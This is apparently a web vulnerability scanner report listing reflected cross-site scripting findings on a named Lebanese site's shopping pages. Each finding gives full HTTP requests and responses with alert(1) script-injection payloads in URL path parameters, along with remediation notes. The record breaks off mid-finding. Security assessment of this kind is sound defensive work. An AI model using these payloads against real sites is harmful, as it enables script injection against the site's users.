<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping5b7d6'-alert(1)-'9921276be78/Consumer-Goods/235690923/Party-Supplies/25'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9e65e'-alert(1)-'6c866c85290 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods9e65e'-alert(1)-'6c866c85290/235690923/Party-Supplies/25 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:53:02 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56438
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Consumer-Goods9e65e'-alert(1)-'6c866c85290/235690923/Party-Supplies/25'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 4a2a9<script>alert(1)</script>c9760d71641 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Consumer-Goods4a2a9<script>alert(1)</script>c9760d71641/235690923/Party-Supplies/25 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:53:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56595
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Consumer Goods4a2a9<script>alert(1)</script>c9760d71641 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8faed'-alert(1)-'15ea2e93166 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/2356909238faed'-alert(1)-'15ea2e93166/Party-Supplies/25 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:57:54 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56551
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Consumer-Goods/2356909238faed'-alert(1)-'15ea2e93166/Party-Supplies/25'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6e0ff'-alert(1)-'6fcc3fca66c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Party-Supplies6e0ff'-alert(1)-'6fcc3fca66c/25 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:03:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56603
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Consumer-Goods/235690923/Party-Supplies6e0ff'-alert(1)-'6fcc3fca66c/25'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 87eb4'-alert(1)-'3ee8c160343 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Party-Supplies/2587eb4'-alert(1)-'3ee8c160343 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:07:28 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54890
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Consumer-Goods/235690923/Party-Supplies/2587eb4'-alert(1)-'3ee8c160343'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e0694'-alert(1)-'b7e2746b028 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppinge0694'-alert(1)-'b7e2746b028/Consumer-Goods/235690923/Pet-Store/71 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:25:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60224
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shoppinge0694'-alert(1)-'b7e2746b028/Consumer-Goods/235690923/Pet-Store/71'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d5a6"><a>c9df6134960 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping1d5a6"><a>c9df6134960/Consumer-Goods/235690923/Pet-Store/71 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:17:21 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60025
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping1d5a6"><a>c9df6134960"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b8100'-alert(1)-'64d0a0677ca was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goodsb8100'-alert(1)-'64d0a0677ca/235690923/Pet-Store/71 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:29:05 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55746
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Consumer-Goodsb8100'-alert(1)-'64d0a0677ca/235690923/Pet-Store/71'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload e011a<script>alert(1)</script>ffc19d6a723 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Consumer-Goodse011a<script>alert(1)</script>ffc19d6a723/235690923/Pet-Store/71 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:30:03 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55552
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Consumer Goodse011a<script>alert(1)</script>ffc19d6a723 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6ea0c'-alert(1)-'db07250d556 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/2356909236ea0c'-alert(1)-'db07250d556/Pet-Store/71 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:35:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55504
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Consumer-Goods/2356909236ea0c'-alert(1)-'db07250d556/Pet-Store/71'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e8e59'-alert(1)-'fff20812f1d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Pet-Storee8e59'-alert(1)-'fff20812f1d/71 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:44:44 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Consumer-Goods/235690923/Pet-Storee8e59'-alert(1)-'fff20812f1d/71'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c8924'-alert(1)-'7e34d20f629 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Pet-Store/71c8924'-alert(1)-'7e34d20f629 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:48:12 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54864
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Consumer-Goods/235690923/Pet-Store/71c8924'-alert(1)-'7e34d20f629'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be4ec"><a>153e7342d83 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingbe4ec"><a>153e7342d83/Consumer-Goods/235690923/Roastary/78 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:09:20 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60187
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingbe4ec"><a>153e7342d83"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 100e9'-alert(1)-'bd4c5fbe64f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping100e9'-alert(1)-'bd4c5fbe64f/Consumer-Goods/235690923/Roastary/78 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:19:16 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59588
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping100e9'-alert(1)-'bd4c5fbe64f/Consumer-Goods/235690923/Roastary/78'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c282e<script>alert(1)</script>e64e32c93a3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
